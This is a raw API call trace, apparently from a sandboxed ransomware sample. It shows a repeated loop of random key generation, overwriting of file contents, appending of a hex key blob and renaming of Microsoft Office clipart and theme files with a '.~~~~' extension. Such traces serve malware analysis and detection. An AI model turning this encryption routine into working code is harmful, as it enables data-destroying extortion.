	[0121.393] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.393] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.393] CloseHandle (hObject=0x148) returned 1
	[0121.400] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6f38
	[0121.400] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02106_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02106_.gif.~~~~")) returned 1
	[0121.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6f38 | out: hHeap=0x300000) returned 1
	[0121.403] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.403] GetLastError () returned 0x0
	[0121.404] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.405] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.405] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.405] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.406] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24139604423) returned 1
	[0121.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1d490d0, dwHighDateTime=0x1d60e1e)) 
	[0121.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e140
	[0121.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e140 | out: hHeap=0x300000) returned 1
	[0121.406] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.407] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.407] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.407] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.407] GetLastError () returned 0x0
	[0121.407] GetLastError () returned 0x0
	[0121.407] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.407] GetLastError () returned 0x0
	[0121.408] GetLastError () returned 0x0
	[0121.411] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff681, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.411] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x97f, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x97f, lpOverlapped=0x0) returned 1
	[0121.413] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0121.413] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.413] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.414] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.414] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.414] CloseHandle (hObject=0x140) returned 1
	[0121.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6528
	[0121.414] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif.~~~~")) returned 1
	[0121.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6528 | out: hHeap=0x300000) returned 1
	[0121.415] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.415] GetLastError () returned 0x0
	[0121.416] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.417] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.417] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.417] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24140738671) returned 1
	[0121.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1d6f230, dwHighDateTime=0x1d60e1e)) 
	[0121.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e178
	[0121.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e178 | out: hHeap=0x300000) returned 1
	[0121.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.418] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.418] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.418] GetLastError () returned 0x0
	[0121.418] GetLastError () returned 0x0
	[0121.418] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.419] GetLastError () returned 0x0
	[0121.419] GetLastError () returned 0x0
	[0121.421] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffa87, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.421] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x579, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x579, lpOverlapped=0x0) returned 1
	[0121.423] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0121.423] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.423] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.423] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.423] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.423] CloseHandle (hObject=0x140) returned 1
	[0121.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6808
	[0121.423] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif.~~~~")) returned 1
	[0121.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6808 | out: hHeap=0x300000) returned 1
	[0121.425] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.425] GetLastError () returned 0x0
	[0121.425] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.426] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.426] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.426] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.426] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24141646635) returned 1
	[0121.426] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1d95390, dwHighDateTime=0x1d60e1e)) 
	[0121.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281e1b0
	[0121.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281e1b0 | out: hHeap=0x300000) returned 1
	[0121.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc708
	[0121.427] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.427] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.427] GetLastError () returned 0x0
	[0121.428] GetLastError () returned 0x0
	[0121.428] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.428] GetLastError () returned 0x0
	[0121.428] GetLastError () returned 0x0
	[0121.458] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffb544, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.458] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x4abc, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x4abc, lpOverlapped=0x0) returned 1
	[0121.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0121.460] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.460] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.460] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.460] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.461] CloseHandle (hObject=0x140) returned 1
	[0121.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f6f38
	[0121.466] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif.~~~~")) returned 1
	[0121.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f6f38 | out: hHeap=0x300000) returned 1
	[0121.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.467] GetLastError () returned 0x0
	[0121.474] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.476] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0121.476] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.476] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0121.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.476] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24146628527) returned 1
	[0121.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1e077b0, dwHighDateTime=0x1d60e1e)) 
	[0121.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.476] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cba0
	[0121.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0121.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cba0 | out: hHeap=0x300000) returned 1
	[0121.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0121.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b5c00
	[0121.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.477] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.477] GetLastError () returned 0x0
	[0121.478] GetLastError () returned 0x0
	[0121.478] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.478] GetLastError () returned 0x0
	[0121.478] GetLastError () returned 0x0
	[0121.480] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff2f56, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.480] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xd0aa, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0xd0aa, lpOverlapped=0x0) returned 1
	[0121.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0121.482] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.483] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0121.483] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0121.483] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0121.483] CloseHandle (hObject=0x140) returned 1
	[0121.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0121.483] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Adjacency.thmx.~~~~" (normalized: "c:\\program files\\microsoft office\\document themes 14\\adjacency.thmx.~~~~")) returned 1
	[0121.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.484] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0121.484] GetLastError () returned 0x0
	[0121.486] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0121.487] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0121.487] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0121.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0121.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0121.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0121.487] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24147697948) returned 1
	[0121.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb1e2d910, dwHighDateTime=0x1d60e1e)) 
	[0121.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0121.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0121.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0121.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39cbd8
	[0121.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0121.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cbd8 | out: hHeap=0x300000) returned 1
	[0121.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0121.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0121.487] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0121.487] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0121.488] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b6d38
	[0121.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0121.488] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0121.488] GetLastError () returned 0x0
	[0121.488] GetLastError () returned 0x0
	[0121.488] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0121.488] GetLastError () returned 0x0
	[0121.488] GetLastError () returned 0x0
	[0121.491] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffeef68, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0121.491] WriteFile (in: hFile=0x140, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x11098, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x24dfec0*=0x11098, lpOverlapped=0x0) returned 1
	[0121.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
